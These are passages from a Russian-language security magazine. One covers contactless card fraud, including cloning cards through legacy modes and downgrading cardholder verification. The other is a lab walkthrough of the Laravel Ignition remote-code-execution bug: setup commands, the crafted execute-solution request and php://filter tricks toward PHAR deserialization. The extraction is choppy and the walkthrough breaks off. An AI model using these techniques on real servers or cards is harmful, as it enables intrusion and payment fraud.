Одна ко этот режим так же обла дает недос татком, поз воля ющим исполь зовать
некор рек тное  зна чение  поля  CVV2,  о  чем  уже  говори лось  в 

. То есть дан ные, счи тан ные с маг нитной полосы, с чипа или бес контак‐ 
тно го чипа кар ты, могут быть записа ны и вос про изве дены спе циаль ным при‐ 
ложе нием  по  про токо лу  NFC  и  банк  будет  счи тать  это  бес контак тной  тран‐ 
закци ей.  Рус ский  прог раммист  Дмит рий  Холодов  даже 

, поз воля ющее счи тывать и сох ранять эти дан ные на телефо‐ 
не с Android.

пре дыду щей
статье

раз местил  в  Google
Play при ложе ние

Кар ты MasterCard пош ли чуть даль ше: в их режиме легаси, называ ющем ся
PayPass M‐Stripe, кар та при нима ет от тер минала слу чай ное чис ло UN, исполь‐ 
зует счет чик ATC и генери рует поле авто риза ции CVC3 на осно ве этих дан ных.
Далее  тер минал  сам  соз дает  из  перечис ленных  зна чений  динами чес кий
Track2 Equivalent и посыла ет бан ку для авто риза ции пла тежа.

Ре жим  обла дает  глав ным  недос татком  —  низ кой  энтро пией  поля  UN
и  отсутс тви ем  дру гих  полей  для  энтро пии,  таких  как  сум ма  пла тежа,  дата
тран закции. UN может занимать от 3 до 5 байт, каж дый байт сос тоит толь ко
из цифр. Зна чит,  на  вход  кар те может  пос тупить 999,  9999 или 99 999 раз‐ 
личных  зна чений  UN.  В  пер вых  двух  слу чаях,  под неся  к  кар точке  сотовый
телефон с  , зло умыш ленник может быс тро кло‐ 
ниро вать все тран закции с кар ты.

ус танов ленным при ложе нием

Да лее  зло умыш ленник  совер шает  пла теж  на  тер минале,  который  под‐ 
держи вает  режим  M‐STRIPE,  исполь зуя  телефон  с  кло ниро ван ными  тран‐ 
закци ями.  Тер минал  генери рует  слу чай ное  поле UN,  телефон  ищет  в  сво ей
базе  тран закций  кор рек тную  пару  ATC/CVC3,  отно сящу юся  к  это му  UN,
и отда ет тер миналу.

Тут  сто ит  напом нить,  что  пла теж ные  сис темы  рекомен дуют  сле дить
за поряд ком зна чений счет чика и не при нимать тран закции со зна читель ными
прыж ками этих самых зна чений ATC. Если сис темы антифро да нас тро ены кор‐ 
рек тно,  зло умыш ленни кам  не  удас тся  совер шить  более  одно го  пла тежа,
потому что для сле дующе го пла тежа зна чение слу чай ного поля UN при ведет
к появ лению такого же слу чай ного зна чения поля ATC, гораз до выше или ниже
пре дыду щего. Если же сис темы антифро да запуга ны «озлоблен ными покупа‐ 
теля ми», у зло умыш ленни ка в руках будет пол ноцен ный клон кар ты, который
он смо жет исполь зовать мно жес тво раз.

Дру гой  обна ружен ный  иссле дова теля ми  спо соб  мошен ничес тва  —  зас‐ 
тавить тер минал поверить, что энтро пия UN = 0. Тог да он вер нет толь ко одно
воз можное  зна чение  UN  =  00000,  и  ему  соот ветс тву ет  толь ко  одна  пара
ATC/CVC3.  В  этом  слу чае  кло ниро вать  кар ту  ста новит ся  неверо ятно  лег ко.
Нам  даже  уда лось  най ти  один  рос сий ский  банк,  который  был  под вержен
такой ата ке.

Од но из хороших опи саний недос татков режимов легаси на рус ском язы ке
. Одна ко я спе шу не сог ласить ся с авто ром в  том, что

проб лема  в  целом  решена:  за  пос ледний  год  я  нашел  две  работа ющих
в режиме Legacy рос сий ских кар ты MasterCard, а так же одну кар ту и один кар‐ 
точный эквай ринг в Рос сии, которые под держи вают уж сов сем небезо пас ный
режим Visa MSD.

вы ходи ло в 2018 году

Под ход  к  реали зации  режимов  легаси  инте ресен  еще  и  с  точ ки  зре ния
при мени мос ти атак на них в реаль ном мире. Ата ки на кар ты Visa до сих пор
чрез вычай но  популяр ны  и  име ют  пов семес тное  рас простра нение.  Ведь
для  того,  что бы  совер шать  бес контак тные  пла тежи  по  кар там  Visa,  мож но
исполь зовать  информа цию,  дос тупную  для  про дажи  на  спе циаль ных
форумах, — Track2 или Track2 Equivalent.

Ата ки на кар ты Visa до сих пор рас простра нены

Ле гаси‐режим карт MasterCard тоже обла дает уяз вимос тями, поз воля ющи ми
их ата ковать. Одна ко эти ата ки гораз до слож нее при менить в реаль ных усло‐ 
виях,  пос коль ку  для  них  нужен  физичес кий  дос туп  к  кар те  жер твы,  хотя  бы
на минуту. Вот почему подоб ные ата ки прак тичес ки не встре чают ся в «дикой
при роде».

Ата ки на MasterCard тре буют физичес кого кон такта с кар той

Сто ит отме тить, что боль шинс тво мобиль ных кошель ков — GPay, SamsungPay,
кас томные  HCE  (Host‐Card  Emulation,  при ложе ние  на  Android,  которое  эму‐ 
лиру ет кар ты) — так же под держи вают режимы M‐Stripe и MSD. Но об этом мы
погово рим  в  раз деле,  пос вящен ном  мобиль ным  кошель кам  и  дру гим  нес‐ 
тандар тным пла теж ным устрой ствам.

КЛОНИРОВАНИЕ КАРТ И ТРАНЗАКЦИЙ
Кло ниро вать бес контак тные кар ты EMV, что бы их тран закции мог ли про ходить
авто риза цию в реаль ном вре мени, невоз можно. Зло умыш ленни ки или иссле‐ 
дова тели пока что не научи лись извле кать крип тогра фичес кие клю чи для соз‐ 
дания  пла теж ных  крип тограмм.  Одна ко  это  не  единс твен ный  спо соб  изго‐ 
товить фун кци ональ ный клон кар ты:

зна чение Track2 Equivalent мож но записать на маг нитную полосу и совер‐ 
шать пла тежи за пре дела ми Рос сии, как это было опи сано в 

;

•
статье, пос‐ 

вящен ной ата кам на EMV
для кло ниро вания тран закций так же исполь зует ся дру гая тех ника, опи сан‐ 
ная ранее, —  ;

•
Cryptogram Replay

на конец,  пол нофун кци ональ ный  клон  кар ты  или  огра ничен ного  чис ла
тран закций  мож но  соз дать,  исполь зуя  уяз вимос ти  режимов  легаси,
о которых я рас ска зал выше.

•

ОБХОД ВЕРИФИКАЦИИ ПЛАТЕЛЬЩИКА
Мей нстрим иссле дова ний по небезо пас ности EMV/NFC в пос ледние 15 лет
пос вящен теме верифи кации пла тель щика — Cardholder Verification Methods,
или  CVM.  Почему?  Потому  что  обход  CVM  завязан  на  дру гие  недос татки
безопас ности  карт:  авто риза цию  и  аутен тифика цию.  Такие  ата ки  не  осо бо
популяр ны  по  тем  же  при чинам  —  зло умыш ленни ку  необ ходимо  иметь
физичес кий  дос туп  к  кар те.  В  офи циаль ной  ста тис тике  этот  тип  мошен‐ 
ничеств называ ется Lost & Stolen.

INFO

Что  такое  «непопу ляр ный  тип  мошен ничес тва»?
Объ ем  несан кци они рован ных  опе раций  Lost  &
Stolen  в  Рос сии,  по  зак лючению  бан ка  Тинь‐ 
кофф, — все го 7% за 2019  год. Если взять офи‐ 
циаль ную циф ру обще го кар точно го мошен ничес‐ 
тва от Фин ЦЕРТ за 2018 год в 1,38 мил лиар да, то
при чинен ный  зло умыш ленни ками  ущерб  сос‐ 
тавля ет чуть мень ше 100 мил лионов руб лей.

Ки бер прес тупни ки  могут  под менить  метод  верифи кации  на  раз ных  эта пах
про цес синга  пла тежа,  исполь зуя  ата ку  MITM  (человек  посере дине).  Давай
раз берем каж дый вари ант в отдель нос ти.

Подмена между терминалом и банком-эквайером
Та кой тип атак называ ется transaction stream fraud — ког да хакеры под меня ют
дан ные  о  тран закции  в  момент  их  переда чи  от  пла теж ного  тер минала.
При этом банк‐эми тент одоб ряет тран закцию, хотя и не дол жен был. Верифи‐ 
кация тран закции может выпол нять ся дву мя метода ми.
1. Под мена на офлай новый ПИН. Эта схе ма не исполь зует ся для бес контак‐ 
тных  карт,  прос то  потому,  что  кар ту  приш лось  бы  прик ладывать  дваж ды
в про цес се пла тежа. Ни одна пла теж ная сис тема не была к это му  готова
пос ле 2010‐х,  ког да чис ло под клю чен ных к интерне ту  тер миналов начало
приб лижать ся к 100%. Одна ко мы наш ли пять бан ков, которые авто ризо‐ 
вали  тран закцию,  если  метод  верифи кации  был  заяв лен
как «офлайн‐ПИН».

2. Под мена на онлайн‐ПИН. Если зап рос на авто риза цию пла тежа ука зыва ет,
что  был  выб ран  онлайн‐ПИН,  но  самого  зашиф рован ного  ПИНа  в  поле
зап роса нет, один из иссле дован ных нами бан ков все рав но авто ризо вал
тран закцию.

Я пос тоян но стал кива юсь с недо уме вающи ми экспер тами — если мошен ники
исполь зуют свои собс твен ные тер миналы, их же лег ко будет отсле дить и най‐ 
ти? К сожале нию, это не всег да так. Те же бра зиль цы, 

,  лег ко  успе ли  скрыть ся  и  отмыть  похищен ные  ими  день ги  до  того,
как на них выш ло ФБР.

упо мяну тые Брай аном
Креб сом

Подмена между телефоном и терминалом
Подмена на подпись
Са мый популяр ный пос ле онлайн‐ПИНа спо соб верифи кации пла тель щика —
это так называ емая под мена на под пись. Вла дель цы карт некото рых рус ских
бан ков прек расно зна ют,  что вмес то вво да ПИН‐кода кар та может по  умол‐ 
чанию зап рашивать под пись на чеке. Эта схе ма, называ емая Chip & Signature
(по ана логии с Chip & PIN), приш ла из Аме рики. Я толь ко недав но узнал о при‐ 
чинах ее популяр ности за оке аном.
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Ког да в начале 2000‐х в США начал ся мас совый
переход на чиповые кар ты, ока залось, что с точ ки
зре ния  аме рикан ско го  законо датель ства,  вне
зависи мос ти  от  того,  был  вве ден  пра виль ный
ПИН во вре мя мошен ничес кой опе рации или нет,
кли енту  обя заны  воз мещать  день ги.  А  если
не  вид но  раз ницы,  то  зачем  пла тить  кли ентам,
для  которых  все  эти  дей ствия  с  вво дом
ПИН‐кода  —  голов ная  боль?  Поэто му  в  стра не
до сих пор так популяр на схе ма Chip & Signature.

Ес ли зло умыш ленник под менит тип верифи кации с ПИНа на под пись, а затем
пос тавит крес тик на чеке или незадач ливый кас сир не зап росит автограф —
вла делец  кар ты  может  зат ребовать  ком пенса цию,  если  докажет,  что  опе‐ 
рация совер шалась не им. Одна ко получит ли он ее — не зна ет точ но ник то.
Но если уж будет доказа но, что по рос сий ской кар те был вве ден и кор рек тно
про верен ПИН, всю вину воз ложат на кли ента.

Ин терес но, что упо мяну тые ранее   мно го лет
занима лись  тех ничес кой  экспер тизой  мошен ничес ких  кар точных  опе раций.
Они  собира ли  дан ные  об  опе раци ях  и  доказы вали  бан ку  и  судь ям,  что  те
совер шались  не  так,  как  это  интер пре тиру ет банк,  нап ример без  кор рек тно
вве ден ного ПИНа или по заранее кло ниро ван ной крип тограм ме.

спе циалис ты из Aperture Lab

Подмена на мобильный кошелек, или NoCVM
По мимо  двух  самых  популяр ных  схем  для  чиповых  бес контак тных  карт,  тер‐ 
минал  может  при нимать  еще  нес коль ко  не  сов сем  стан дар тных  типов
верифи кации пла тель щика. Во‐пер вых, зло умыш ленник может сооб щить тер‐ 
миналу, что кар та — это вов се не кар та, а мобиль ный кошелек, ска жем Apple
Pay. В боль шинс тве тер миналов в таком слу чае не пот ребу ется вво да никаких
ПИН‐кодов и даже не нуж но будет оставлять  под писи на  чеке.  То же самое
про изой дет, если в виде метода верифи кации выб рать NoCVM.

Для бес контак тных карт Visa мы  , где
про демонс три рова ли недос татки защищен ности механиз мов CVM по кар там
из Рос сии, Евро пы, Аме рики и Великоб ритании. Поз же иссле дова тели из уни‐ 
вер ситета Цюриха 

 с неболь шими изме нени ями для евро пей ско го рын ка. Они лишь
под твер дили опи сан ные нами ранее зак лючения о кар тах Visa.

по каза ли эту уяз вимость в 2019 году

пов торили наше иссле дова ние по отно шению к швей цар‐ 
ским кар там

Не кото рые экспер ты инте ресу ются: почему толь ко Visa? Во‐пер вых, кар ты
MasterCard  про веря ют  целос тность  выб ранных  методов  верифи кации  CVM
во вре мя Offline Data Authentication. В отли чие от карт Visa, этот про цесс обя‐ 
зате лен  для  каж дой  бес контак тной  кар ты  MasterCard.  Так же  поле,  отве‐ 
чающее  за  мобиль ный  кошелек,  явля ется  частью  пла теж ной  крип тограм мы,
и их тоже невоз можно под менить без откло нения тран закции.

PSD2 И КАРТОЧНОЕ МОШЕННИЧЕСТВО В ЕВРОПЕ
Каж дая  стра на  мира  име ет  свои  рекомен дации  по  лимитам  NoCVM,  ког да
никакой верифи кации пла тель щика не тре бует ся. Речь идет о так называ емой
схе ме Tap & Go. В Рос сии этот лимит ранее сос тавлял 1000 руб лей, но недав‐ 
но  его  повыси ли  до  3000  руб лей.  В  Великоб ритании  до  COVID  эта  циф ра
была 30 фун тов стер лингов, сегод ня — 45.

Каж дый магазин и банк‐эквай ер может уста нав ливать какие угод но лимиты
для сво их тер миналов. Одна ко рис ки за мошен ничес тво NoCVM будут лежать
на их пле чах, имен но поэто му не каж дый банк или мер чант захочет уста нав‐ 
ливать лимиты выше сред них, ина че к ним побегут радос тные мошен ники.

Са мая  популяр ная  схе ма  мошен ничес тва  по  укра ден ным  бес контак тным
кар там — это пой ти в магазин и совер шить пла теж по опи сан ной схе ме Tap &
Go. Нап ример, мас штаб такого мошен ничес тва в Великоб ритании — «все го»
чуть  боль ше 10 мил лионов фун тов  стер лингов  за  2019  год. Дело  в  том,  что
зло умыш ленни ки  мог ли  совер шать  сколь ко  угод но  опе раций  по  лимитам
NoCVM,  пока  кар ту  не  заб локиро вали.  Самые  наг лые  даже  находи ли  кас‐ 
сиров,  которые  без  проб лем  раз деляли  боль шой  чек  на  нес коль ко  30‐фун‐ 
товых,  .что поз воляло обой ти наци ональ ные огра ниче ния

Что бы  про тивос тоять  такому  мошен ничес тву,  евро пей ский  регуля тор
выпус тил  набор  новых  законов,  который  называ ется  PSD2  (Payment  Service
Directive, version 2). Одно из глав ных тре бова ний отно сит ся к час тоте верифи‐ 
кации пла тель щика — Strong Customer Authentication. В эти тре бова ния вклю‐ 
чен  раз дел  по  бес контак тным  опе раци ям  Tap  &  Go  —  Cumulative  Limits,
в  соот ветс твии  с  которы ми  начиная  с  2020  года  бан ки‐эми тен ты  огра ничи‐ 
вают  количес тво  опе раций  ниже  лимитов  Tap & Go. Они,  наобо рот,  дол жны
счи тать  сум марно  пот рачен ные  средс тва  и  про сить  ввес ти  ПИН‐код  через
каж дые  пять  опе раций  или  в  слу чае,  если  дер жатель  кар ты  пот ратит  экви‐ 
валент мак сималь ной сум мы по пяти опе раци ям Tap & Go, нап ример 225 фун‐ 
тов стер лингов в Великоб ритании или 250 евро во Фран ции. Если в евро пей‐ 
ских  стра нах  эта  про цеду ра  не  слиш ком  замет на  для  вла дель цев  карт,  то
в  Великоб ритании  дей ству ет  Hard  Limits.  Это  озна чает,  что  для  пла тежей,
которые тре буют ввод ПИН‐кода или под писи, тре бует ся вста вить в тер минал
кар ту с чипом.

INFO

Visa и MasterCard пред лага ют две схе мы работы
выше  лимитов  Tap  &  Go  —  Soft  или  Hard  limits.
Боль шинс тво  стран  работа ет  по  пер вой  схе ме,
в  которой  при  про веде нии  пла тежа  выше  уста‐ 
нов ленно го  лимита  будет  зап рошена  допол‐ 
нитель ная  верифи кация  пла тель щика  —  под пись
или  онлайн‐ПИН.  Единс твен ная  извес тная  мне
стра на,  работа ющая  по  схе ме  Hard  Limits,  —
Великоб ритания.  В  ней  в  слу чае  пла тежа  выше
Tap & Go  при дет ся  вста вить  кар ту  с  чипом. Это,
естес твен но, не отно сит ся к мобиль ным кошель‐ 
кам  —  по  ним  лимиты  отдель ные.  Боль ше
информа ции  мож но  най ти  в  упо мяну тых  иссле‐ 
дова ниях.

За кон все еще мед ленно рас простра няет ся по Евро пе. Но как толь ко у меня
на руках ока залось дос таточ но карт, по которым при меня лись пра вила Cumu‐
lative  Limits,  я  стал  про верять,  нас коль ко  эффектив ны  эти  пра вила  и  как  их
мож но  обой ти,  исполь зуя  пуб личные  уяз вимос ти  или  их  новые  вари ации.
Одно из наших пос ледних иссле дова ний показа ло, что ста рые доб рые ата ки
PIN OK, под мена верифи кации на Chip & Signature, Transaction Stream Fraud —
все они поз воля ют «сбро сить лимиты» в 225 фун тов стер лингов  / 250 евро.
Имея  на  руках  похищен ные  кар ты  и  спе циаль ный  тер минал,  хакеры  могут
совер шать  пла тежи  в  обыч ных  магази нах  свы ше  ука зан ных  огра ниче ний,
пери оди чес ки  «сбра сывая  лимиты» 

.
с  помощью  сво его  ском про мети рован‐ 

ного тер минала

ЗАКЛЮЧЕНИЕ
За  три  года  плот ной  работы  с  кар точны ми  тран закци ями  я  мно гое  понял.
Риск‐ори енти рован ный  под ход  в  пла теж ной  индус трии  зас тавля ет  бан ки
и  дру гих  игро ков  рын ка  под держи вать  уста рев шие фор мы  пла тежей  прос то
«потому,  что  это  нуж но».  Имен но  поэто му  за  пос ледние  годы  мне  уда лось
совер шить зах ватыва ющее путешес твие в деб ри кар точно го мошен ничес тва,
най ти  десят ки  уяз вимос тей  в  раз личных  бан ках  и  пла теж ных  сис темах,
научить ся  раз бирать ся  в  ISO‐8583,  эму лиро вать  при меры  тран закци онно го
фро да  и  осво ить  дру гие  инте рес ные  и  необыч ные  спо собы  атак,  которые,
будем наде ять ся, так и оста нут ся толь ко в нашей лабора тории.
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ВЗЛОМ

В биб лиоте ке Ignition, пос тавля емой с Laravel, обна ружи лась
уяз вимость,  которая  поз воля ет  неав торизо ван ным  поль‐ 
зовате лям  выпол нять  про изволь ный  код.  В  этой  статье  мы
пос мотрим,  где  раз работ чики  Ignition  допус тили  ошиб ку,
и раз берем два метода ее экс плу ата ции.

Биб лиоте ка  Ignition  нуж на  для  кас томиза ции  сооб щений  об  ошиб ках,  что
полез но  во  вре мя  раз работ ки  и  отладки.  Ignition  дос тупна  и  исполь зует ся
в Laravel «из короб ки», а так же встре чает ся в дру гих про ектах.

Уяз вимость  воз можна  из‐за  некор рек тной  обра бот ки  парамет ров  POST‐
зап роса.  Бла года ря  это му  зло умыш ленник  может  отпра вить  про изволь ные
дан ные в качес тве аргу мен тов фун кций   и 

. Спе циаль но сфор мирован ная цепоч ка таких зап росов при водит к воз‐ 
можнос ти выпол нить код на целевой сис теме.

file_get_contents file_put_con‐
tents

INFO

Баг  обна ружил    (Charles  Fol)  из 
.  Уяз вимос ти  прис воен  иден‐ 

тифика тор    и  кри тичес кий  ста тус,
так  как  для  успешной  экс плу ата ции  не  нуж на
авто риза ция.  Баг  при сутс тву ет  в  Ignition
2.5.2 и ниже.
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СТЕНД
В  качес тве  стен да  будем  исполь зовать  кон тей нер Docker  на  осно ве Debian
10.

docker pull debian 
   docker run ‐ti ‐‐name="laravelrce" ‐p8080:80 debian /bin/bash 

Ус тановим  необ ходимые  пакеты.  В  качес тве  веб‐сер вера  я  буду  исполь‐ 
зовать nginx.

apt update 
apt   install ‐y nano curl unzip nginx php‐fpm php‐common php‐mbstring 
   php‐xmlrpc php‐soap php‐gd php‐xml php‐mysql php‐cli php‐zip 
   php‐curl php‐pear php‐dev python xxd libfcgi 

За тем нуж но про инстал лировать Composer.

curl   ‐sS https://getcomposer.org/installer | php ‐‐ ‐‐install‐dir=/
usr/local/bin ‐‐filename=composer 

Че рез  него  соз дадим  про ект  на  осно ве  фрей мвор ка  Laravel.  Для  удобс тва
помес тим фай лы в дирек торию  ./var/www

   
           

 

cd /var/www && rm ‐rf html && composer create‐project laravel/
laravel . "v8.4.2" && sed ‐i ‐E 's|"facade/ignition": ".+?"|"facade/
ignition": "2.5.1"|g' composer.json && composer update && mv public 
html 

Те перь  отре дак тиру ем  кон фиги  nginx.  Вклю чаем  обра бот ку  скрип тов  PHP
и нас тра иваем необ ходимый для Laravel редирект.

     sed ‐i ‐E 's|index index|index index.php index|g' /etc/nginx/sites‐
enabled/default 

     sed ‐i ‐E 's|try_files \$uri.*|try_files \$uri \$uri/ /index.php?\
$query_string;|g' /etc/nginx/sites‐enabled/default 

     sed ‐i ‐E 's|#location ~ \\\.php\$ \{|location ~ \\.php\$ {\n\t\
tinclude snippets/fastcgi‐php.conf;\n\t\tfastcgi_pass 127.0.0.1:
9000;\n\t}|g' /etc/nginx/sites‐enabled/default 

Ме няем  нас трой ку  демона  PHP‐FPM,  что бы  он  работал  по  TCP  и  висел
на 9000‐м пор те.

     sed ‐i ‐E 's|listen = .*|listen = 127.0.0.1:9000|g' /etc/php/7.3/fpm/
pool.d/www.conf 

Для  изу чения  деталей  работы  Ignition  нам  так же  пот ребу ется  прос тень кий
кон трол лер. Добавим роут  .test

/var/www/routes/web.php
       19: Route::get('/test', function () {
       20: return view('test');
 21: });

Те перь нуж но соз дать view (пред став ление) это го роута. Для опи сания пред‐ 
став лений в Laravel исполь зует ся шаб лониза тор  .Blade

/www/resources/views/test.blade.php
<!DOCTYPE html>
<html>
   <body>
   Hello, {{ $name }}. 
   </body>
</html>

где   — это перемен ная, которую нуж но передать во  .$name view
С этим разоб рались, оста лось ска чать сор цы фрей мвор ка. Их мож но взять

пря мо из Docker.

docker cp laravelrce:/var/www ./ 

Те перь все готово и мож но прис тупать к раз бору уяз вимос ти.

ДЕТАЛИ УЯЗВИМОСТИ
Для  начала  про верим,  вклю чена  ли  .  Мож но  отпра вить  зап рос,
для  которо го  нет  обра бот чика  у  кон крет ного  роута.  Нап ример,  неп лохо
работа ет   на  .

Ignition

DELETE index.php

От прав ка некор рек тно го типа зап роса DELETE на index.php

Бо лее близ ким к нашей уяз вимос ти будет такой зап рос:

http://laravelrce.vh:8080/_ignition/execute‐solution

Кас томизи рован ное сооб щение об ошиб ке от Ignition

Ес ли  видишь  кра сивую  кар тинку  с  сооб щени ем  об  ошиб ке,  как  на  скрин‐ 
шоте,  —  зна чит,  все  идет  по  пла ну.  Помимо  кас томизи рован ных  стра ниц
с сооб щени ем об ошиб ке, Ignition поз воля ет соз давать так называ емые solu‐
tions.  Это  неболь шие  фраг менты  кода,  они  помога ют  решить  проб лемы,
с которы ми стал кива ются раз работ чики. Нап ример, вер немся к нашему роуту

.  В  шаб лоне  мы  исполь зуем  перемен ную  ,  но  не  переда ем  ее,
поэто му Laravel вер нет ошиб ку.
test $name

Со обще ние об ошиб ке в Laravel, если не най дена перемен ная в шаб лоне

Об рати вни мание на кноп ку Make variable optional. При нажатии к сер веру ухо‐ 
дит инте рес ный зап рос.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{"solution":"Facade\\Ignition\\Solutions\\
MakeViewVariableOptionalSolution","parameters":{"variableName":"name"
,"viewFile":"/var/www/resources/views/test.blade.php"}}

В  парамет ре  solution  ука зыва ется  класс,  который  нуж но  выпол нить.  Шту ка
любопыт ная, но ука зать про изволь ный класс там не получит ся, так как Ignition
тре бует,  что бы вызыва емый  класс реали зовы вал интерфейс 

.
RunnableSolu‐

tion

/vendor/facade/ignition/src/SolutionProviders/SolutionProvider-
Repository.php

             83: public function getSolutionForClass(string $solutionClass): ?
Solution

     84: {
     85:         if (! class_exists($solutionClass)) {

 86:             return null;
87:         }
88:

     
 

89:         if (! in_array(Solution::class, class_implements(
$solutionClass))) {

 90:             return null;
91:         }
92:

 93:         return app($solutionClass);
     94: }

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

       8: class MakeViewVariableOptionalSolution implements RunnableSolution

Гля нем код  , что бы узнать, что он дела‐ 
ет. Сна чала вызыва ется метод  .

MakeViewVariableOptionalSolution
makeOptional

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

               65: public function run(array $parameters = [])
     66: {

   67:         $output = $this‐>makeOptional($parameters);

Он чита ет файл, путь до которо го был передан в парамет ре  .viewFile

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

               73: public function makeOptional(array $parameters = [])
     74: {

   75:         $originalContents = file_get_contents($parameters[
'viewFile']);

За тем  передан ная  в    перемен ная  изме няет ся  с  вида 
на  .

variableName $name
$name ?? ''

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

   
   

76:         $newContents = str_replace('$'.$parameters['variableName'
], '$'.$parameters['variableName']." ?? ''", $originalContents);

Пос ле это го идет про вер ка шаб лона. Прог рамма хочет убе дить ся, что струк‐ 
тура кода изме нилась не боль ше, чем ожи далось.

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

   78:         $originalTokens = token_get_all(Blade::compileString(
$originalContents));

   79:         $newTokens = token_get_all(Blade::compileString(
$newContents));
80:

   
 

81:         $expectedTokens = $this‐>generateExpectedTokens(
$originalTokens, $parameters['variableName']);
82:

       83:         if ($expectedTokens !== $newTokens) {
 84:             return false;

85:         }

Ес ли это не так, то   вер нет false, в про тив ном слу чае (вари ант,
ког да все прош ло глад ко) содер жимое шаб лона переза писы вает ся.

makeOptional

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

               73: public function makeOptional(array $parameters = [])
     74: {

...
 87:         return $newContents;

     88: }

/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolu-
tion.php

               65: public function run(array $parameters = [])
     66: {

...
       68:         if ($output !== false) {

 69:             file_put_contents($parameters['viewFile'], $output);
70:         }

Ес ли отбро сить все лиш нее, то выпол няет ся прос тое чте ние и запись фай ла.

   75:         $originalContents = file_get_contents($parameters[
'viewFile']);

 69:             file_put_contents($parameters['viewFile'], $output);

Пол ным путем до фай ла мож но манипу лиро вать,  прос то изме няя его в  зап‐ 
росе. Но что это дает?

Пер вое, что при ходит в голову, — это исполь зовать тех нику экс плу ата ции
через десери али зацию в архи ве PHAR. Для это го нуж но иметь воз можность
заг ружать  файл  с  про изволь ным  содер жимым  и  знать  путь  до  это го  фай ла
в сис теме.

Это  иде аль ный  вари ант,  и  если  такая  воз можность  при сутс тву ет  в  тво ем
слу чае, то RCE у тебя в кар мане. Одна ко такой рас клад не очень инте ресен,
поэто му  давай  пос мотрим,  что  мож но  сде лать  с  дефол тной  кон фигура цией
Laravel.

Здесь  нам  необ ходимо  обра тить ся  к  врап перам  PHP,  а  имен но
к  . При помощи ком бинации встро енных филь тров мож но манипу‐ 
лиро вать содер жимым фай ла до того, как оно будет исполь зовано. Соз дадим
файл для тес тирова ния.

php://filter

 |   echo Hello | base64 base64 > /tmp/test.file 
cat /tmp/test.file 
U0dWc2JHOEsK 

Соз дание тес тового фай ла

Те перь  я  соз дал  скрипт  на  PHP,  где  про исхо дят  опе рации  чте ния  и  записи
фай ла, ана логич ные исполь зуемым в Ignition.

/tmp/test.php
<?php

   $file = 'php://filter/convert.base64‐decode/resource=/tmp/test.file';
// Читаем локальный файл, перед этим к его содержимому будет 
применен фильтр base64‐decode

   $contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, предварительно 
обработав его той же функцией base64‐decode

 file_put_contents($file, $contents);

Пе ремен ная   —  это  ана лог  ,  здесь  содер жится  стро ка  пути.
Этим парамет ром мы можем манипу лиро вать.

$file viewFile

К каж дой стро ке я добавил ком мента рий о том, что про исхо дит пос ле ее
выпол нения. На выходе содер жимое фай ла будет  .Hello

Ме няем содер жимое фай ла при помощи врап пера php://filter. Филь тр
base64‐decode отра баты вает дваж ды

Та ким  обра зом  мож но  изме нять  содер жимое  фай ла,  манипу лируя  толь ко
путем  до  него.  Здесь  есть  неболь шая  проб лемка:  филь тр 
отра баты вает дваж ды. Но ее лег ко решить: дос таточ но изме нить конс трук ции
вызова врап пера.

base64‐decode

 echo Hello | base64 > /tmp/test.file 
cat /tmp/test.file 
SGVsbG8K 

/tmp/test-onetime.php
<?php

   $file = 'php://filter/read=convert.base64‐decode/resource=/tmp/test.
file';
// Читаем локальный файл, перед этим к его содержимому будет 
применен фильтр base64‐decode

   $contents = file_get_contents($file);
// Выводим содержимое
var_dump($contents);
// Записываем содержимое в этот же локальный файл, теперь содержимое 
не будет второй раз проходить через base64‐decode

 file_put_contents($file, $contents);

Пе реза пись содер жимого фай ла при помощи врап пера php://filter.
Филь тр base64‐decode отра баты вает один раз
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УЯЗВИМОСТЬ В

LARAVEL
РАЗБИРАЕМ ЭКСПЛОИТ, КОТОРЫЙ ДАЕТ

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА
В ПОПУЛЯРНОМ PHP‐ФРЕЙМВОРКЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОЧИЩАЕМ ЛОГ-ФАЙЛ
Те перь  вер немся  к  идее  выпол нения  кода  через  десери али зацию  архи ва
PHAR.  Как  я  уже  говорил,  иде аль ный  слу чай — это  ког да  есть  воз можность
заг ружать про изволь ные фай лы и ты зна ешь путь до них. В нашей уста нов ке
такой рос коши нет, но есть один файл, имя и путь которо го доволь но пред‐ 
ска зуемы.  Это  собс твен ный  лог‐файл  фрей мвор ка  Laravel.  По  дефол ту  он
находит ся  в  дирек тории  .  В  него  записы вают ся  сооб щения
об ошиб ках, вро де тех, что кра сиво показы вает в бра узе ре Ignition.

storage/logs

Лог‐файл фрей мвор ка Laravel и его содер жимое

Пос мотрим,  что  записы вает ся  в  лог  при  переда че  несущес тву юще го  пути
в обра бот ке solution.

   POST /_ignition/execute‐solution HTTP/1.1
 Host: laravelrce.vh:8080

 Accept: application/json
 Content‐Type: application/json

{"solution":"Facade\\Ignition\\Solutions\\
MakeViewVariableOptionalSolution","parameters":{"variableName":"name"
,"viewFile":"THIS_FILE_DOESNT_EXISTS"}}

За пись с нашим сооб щени ем об ошиб ке в лог‐фай ле Laravel

По луча ется,  что  я  могу  управлять  частью  содер жимого  лога,  манипу лируя
перемен ной  . Иссле дова тель Чарльз Фол нашел спо соб прев ратить
лог‐файл в пол ноцен ный архив PHAR с нуж ным содер жимым, исполь зуя толь‐ 
ко манипу ляции с набором филь тров и цепоч ку зап росов. Давай пос мотрим,
как это мож но сде лать.

viewFile

Вновь обра тим ся  к филь тру  .  Пос мотрим  на  осо бен ности
его работы с сим волами, которые не вхо дят в алфа вит кодиро вания Base64.

base64‐decode

   |   <        echo Hello | base64 ‐w0 cat (echo ‐n ':;.‐|') ‐ <(echo '|‐.;:') > 
/tmp/test.file 

Об работ ка сим волов, не вхо дящих в Base64, филь тром base64‐decode

Как видишь, они прос то игно риру ются и про изво дит ся декоди рова ние толь ко
